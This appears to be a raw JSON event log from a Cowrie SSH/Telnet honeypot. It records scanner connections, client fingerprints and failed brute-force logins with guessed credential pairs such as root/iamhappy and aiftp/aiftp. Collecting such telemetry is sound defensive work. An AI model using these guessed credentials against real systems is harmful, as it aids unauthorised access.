{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ec:27:d6:31:81:e6:32:24:54:6d:cb:e6:74:d2:d0:0c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCpa3xOoB7c8IH7O3R4npPrf1iviDbNQsl2p1TAshPpj6UQQulK9SH9rU7kv8cxXrTuUJsh2VNntTlxWAHxnOTWhHHPWdAN6kZ/1/zT+KIvTJjN+RUpYgjVuLWI/rXOGbb0Qf/T6rXusGdu/BKQEph1Er+vQ6U1j6C5wYp5LIXVF4xkE7VgXiWlBJeZTVvRR7/JcGH6ZkkWZsG25g6AO2i/tuz4bZuhPSbmQCRPPjRt4M9nptHuQpFNSR2QNqpSyAAHM70mwJdv6lXzeX6MhaRr8/KzBblMl/0T1OpHi3MzPWguBoP4uGI6gTbHyLTsInwqP6zKmP4hHmlsP/b1YFRN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:12:59.714768Z","src_ip":"192.3.145.26","session":"ed602bc4c9c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"129.226.4.94","src_port":44316,"dst_ip":"159.203.135.109","dst_port":22,"session":"ec1d0b0b2bc6","protocol":"ssh","message":"New connection: 129.226.4.94:44316 (159.203.135.109:22) [session: ec1d0b0b2bc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:12:59.736635Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:12:59.741991Z","src_ip":"129.226.4.94","session":"ec1d0b0b2bc6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"29:b8:47:12:bc:52:eb:ed:d1:09:52:5c:f4:f1:9b:61","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA1AhC7inW0cv0LDY0hpPJzJIx67ElMB+oUoyBLOM8MulNCkZRwcsZDp8rTBVgp4VFTMzzTdQNMJoEXXDr2KzXkQOp2Pphfy0FmBnE441+OgH3X6NcnE4ErDtopG+1uguoiJQHxj6CSBHsDUTcpIxBh9kw0oV8VGUBdlj/5HLpAoWThLPqJmtGaV1yhQElcW0+aJFsUPYqlvhw1wfZtkLEEOOSif4wDhFvUP+f27Jg3HYWaW6+vhUkSHrT9x9nLoCZeUpWUIMxdYYDYwdkRgQOEkJ55uwfL+NljLka8gwTTSfdH4EHsCnbhUfep3L2DiqSWsAudJAyxI0eGt10Jhwwvw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 29:b8:47:12:bc:52:eb:ed:d1:09:52:5c:f4:f1:9b:61","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:12:59.758608Z","src_ip":"192.3.145.26","session":"ed602bc4c9c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"29:b8:47:12:bc:52:eb:ed:d1:09:52:5c:f4:f1:9b:61","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA1AhC7inW0cv0LDY0hpPJzJIx67ElMB+oUoyBLOM8MulNCkZRwcsZDp8rTBVgp4VFTMzzTdQNMJoEXXDr2KzXkQOp2Pphfy0FmBnE441+OgH3X6NcnE4ErDtopG+1uguoiJQHxj6CSBHsDUTcpIxBh9kw0oV8VGUBdlj/5HLpAoWThLPqJmtGaV1yhQElcW0+aJFsUPYqlvhw1wfZtkLEEOOSif4wDhFvUP+f27Jg3HYWaW6+vhUkSHrT9x9nLoCZeUpWUIMxdYYDYwdkRgQOEkJ55uwfL+NljLka8gwTTSfdH4EHsCnbhUfep3L2DiqSWsAudJAyxI0eGt10Jhwwvw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:12:59.763207Z","src_ip":"192.3.145.26","session":"ed602bc4c9c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:12:59.805318Z","src_ip":"192.3.145.26","session":"ed602bc4c9c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:12:59.980452Z","src_ip":"129.226.4.94","session":"ec1d0b0b2bc6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aiftp","password":"aiftp","message":"login attempt [aiftp/aiftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:13:00.964095Z","src_ip":"129.226.4.94","session":"ec1d0b0b2bc6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:13:02.205352Z","src_ip":"129.226.4.94","session":"ec1d0b0b2bc6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":44236,"dst_ip":"159.203.135.109","dst_port":23,"session":"6df9c55fe7d1","protocol":"telnet","message":"New connection: 135.148.14.151:44236 (159.203.135.109:23) [session: 6df9c55fe7d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:13:15.435030Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":55624,"dst_ip":"10.17.0.5","dst_port":22,"session":"5cbe24f1e3ec","protocol":"ssh","message":"New connection: 194.59.206.2:55624 (10.17.0.5:22) [session: 5cbe24f1e3ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:13:25.200352Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:13:25.205422Z","src_ip":"194.59.206.2","session":"5cbe24f1e3ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:13:25.296376Z","src_ip":"194.59.206.2","session":"5cbe24f1e3ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:13:25.390722Z","src_ip":"194.59.206.2","session":"5cbe24f1e3ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.78311777114868,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:13:28.751806Z","src_ip":"135.148.14.151","session":"36b10e0879aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":52.27287006378174,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:13:30.666641Z","src_ip":"135.148.14.151","session":"3e12811cad6e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":57516,"dst_ip":"159.203.135.109","dst_port":23,"session":"c39963d9b4a5","protocol":"telnet","message":"New connection: 135.148.14.151:57516 (159.203.135.109:23) [session: c39963d9b4a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:13:48.526200Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":59230,"dst_ip":"159.203.135.109","dst_port":23,"session":"a9d27793983f","protocol":"telnet","message":"New connection: 135.148.14.151:59230 (159.203.135.109:23) [session: a9d27793983f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:13:49.272544Z"}
{"eventid":"cowrie.session.closed","duration":34.062758445739746,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:13:49.497579Z","src_ip":"135.148.14.151","session":"6df9c55fe7d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":52562,"dst_ip":"10.17.0.5","dst_port":22,"session":"24e025865218","protocol":"ssh","message":"New connection: 62.133.62.83:52562 (10.17.0.5:22) [session: 24e025865218]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:14:00.635064Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:14:00.639719Z","src_ip":"62.133.62.83","session":"24e025865218","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:14:00.718988Z","src_ip":"62.133.62.83","session":"24e025865218","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"iamhappy","message":"login attempt [root/iamhappy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:14:00.956901Z","src_ip":"62.133.62.83","session":"24e025865218","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:14:02.038888Z","src_ip":"62.133.62.83","session":"24e025865218","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":38878,"dst_ip":"159.203.135.109","dst_port":23,"session":"f24d041b9a6f","protocol":"telnet","message":"New connection: 135.148.14.151:38878 (159.203.135.109:23) [session: f24d041b9a6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:14:07.359838Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":43360,"dst_ip":"159.203.135.109","dst_port":23,"session":"24e6f5d06d2f","protocol":"telnet","message":"New connection: 135.148.14.151:43360 (159.203.135.109:23) [session: 24e6f5d06d2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:14:15.606442Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":41662,"dst_ip":"159.203.135.109","dst_port":23,"session":"33bb3caba791","protocol":"telnet","message":"New connection: 135.148.14.151:41662 (159.203.135.109:23) [session: 33bb3caba791]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:14:18.127000Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":35564,"dst_ip":"10.17.0.5","dst_port":22,"session":"31933290cdf8","protocol":"ssh","message":"New connection: 103.173.227.57:35564 (10.17.0.5:22) [session: 31933290cdf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:14:19.718312Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:14:19.723575Z","src_ip":"103.173.227.57","session":"31933290cdf8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:14:19.974351Z","src_ip":"103.173.227.57","session":"31933290cdf8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.7612144947052,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:14:20.287282Z","src_ip":"135.148.14.151","session":"c39963d9b4a5","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"ghjcnjnf","message":"login attempt [root/ghjcnjnf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:14:21.018680Z","src_ip":"103.173.227.57","session":"31933290cdf8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:14:22.272246Z","src_ip":"103.173.227.57","session":"31933290cdf8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":46456,"dst_ip":"159.203.135.109","dst_port":23,"session":"a91e8a912343","protocol":"telnet","message":"New connection: 135.148.14.151:46456 (159.203.135.109:23) [session: a91e8a912343]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:14:22.653666Z"}
{"eventid":"cowrie.session.closed","duration":37.94200253486633,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:14:27.214438Z","src_ip":"135.148.14.151","session":"a9d27793983f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"129.226.4.94","src_port":60402,"dst_ip":"159.203.135.109","dst_port":22,"session":"23973490303b","protocol":"ssh","message":"New connection: 129.226.4.94:60402 (159.203.135.109:22) [session: 23973490303b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:14:30.444094Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:14:30.449168Z","src_ip":"129.226.4.94","session":"23973490303b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:14:30.686768Z","src_ip":"129.226.4.94","session":"23973490303b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bbb","password":"bbb","message":"login attempt [bbb/bbb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:14:31.665561Z","src_ip":"129.226.4.94","session":"23973490303b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:14:32.906597Z","src_ip":"129.226.4.94","session":"23973490303b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":53960,"dst_ip":"159.203.135.109","dst_port":23,"session":"6106a7c218b7","protocol":"telnet","message":"New connection: 135.148.14.151:53960 (159.203.135.109:23) [session: 6106a7c218b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:14:37.557600Z"}
{"eventid":"cowrie.session.closed","duration":34.216450214385986,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:14:41.575968Z","src_ip":"135.148.14.151","session":"f24d041b9a6f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"49.88.156.34","src_port":42044,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a3e91f78ed9","protocol":"telnet","message":"New connection: 49.88.156.34:42044 (10.17.0.5:23) [session: 3a3e91f78ed9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:14:41.888836Z"}
{"eventid":"cowrie.session.connect","src_ip":"49.88.156.34","src_port":41866,"dst_ip":"10.17.0.5","dst_port":23,"session":"f7cbb576cdd2","protocol":"telnet","message":"New connection: 49.88.156.34:41866 (10.17.0.5:23) [session: f7cbb576cdd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:14:41.973736Z"}
{"eventid":"cowrie.session.closed","duration":8.225680589675903,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:14:50.199299Z","src_ip":"49.88.156.34","session":"f7cbb576cdd2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.59213399887085,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:14:52.719028Z","src_ip":"135.148.14.151","session":"33bb3caba791","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.4300742149353,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:14:53.036427Z","src_ip":"135.148.14.151","session":"24e6f5d06d2f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.8476357460022,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:14:57.501206Z","src_ip":"135.148.14.151","session":"a91e8a912343","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":59760,"dst_ip":"10.17.0.5","dst_port":22,"session":"7c0dfc9eff6f","protocol":"ssh","message":"New connection: 94.159.98.239:59760 (10.17.0.5:22) [session: 7c0dfc9eff6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:14:59.202733Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:14:59.717481Z","src_ip":"94.159.98.239","session":"7c0dfc9eff6f","protocol":"ssh"}
